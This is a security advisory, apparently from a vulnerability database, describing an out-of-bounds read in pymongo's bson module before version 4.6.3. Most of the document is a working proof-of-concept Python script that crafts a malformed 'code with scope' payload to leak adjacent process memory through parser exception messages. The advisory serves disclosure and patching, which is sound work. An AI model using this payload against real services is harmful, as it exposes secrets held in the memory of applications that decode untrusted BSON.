Out-of-bounds Read Affecting pymongo package, versions [,4.6.3)

Affected versions of this package are vulnerable to Out-of-bounds Read in the bson module. Using the crafted payload the attacker could force the parser to deserialize unmanaged memory. The parser tries to interpret bytes next to buffer and throws an exception with string. If the following bytes are not printable UTF-8 the parser throws an exception with a single byte.

import bson
import struct

def function(length: int) -> bytes:
    secret = b'X' * length

# variable 'secret' is deleted here but it's still stored in memory

def generate_payload(length: int) -> bytes:
    string_size = length - 0x1e

    return bytes.fromhex(
        struct.pack('<I', length).hex() + # payload size
        '0f' + # type "code with scope"
        '3100' + # key (cstring)
        '0a000000' + # c_w_s_size
        '04000000' + # code_size
        '41004200' + # code (cstring)
        'feffffff' + # scope_size
        '02' + # type "string"
        '3200' + # key (cstring)
        struct.pack('<I', string_size).hex() + # string size
        '00' * string_size # value (cstring)
# next bytes is a field name for type \x00, type \x00 is invalid so bson throws an exception
    )

def deserialize_payload(payload: bytes) -> None:
    try:
        obj = bson.decode(payload) # throws exception
        print(obj) # unreachable code
    except Exception as e:
        print(e)


print('case 1: leak the printable string')

# uses secret internally
function(0x50 + 0x0F)

# payload could be read from stdin or similar
payload = generate_payload(0x50)
deserialize_payload(payload)



print('\n case 2: leak some non-printable bytes')

for i in range(5):
    # payload could be read from stdin or similar
    payload = generate_payload(0x54f + i)
    deserialize_payload(payload)

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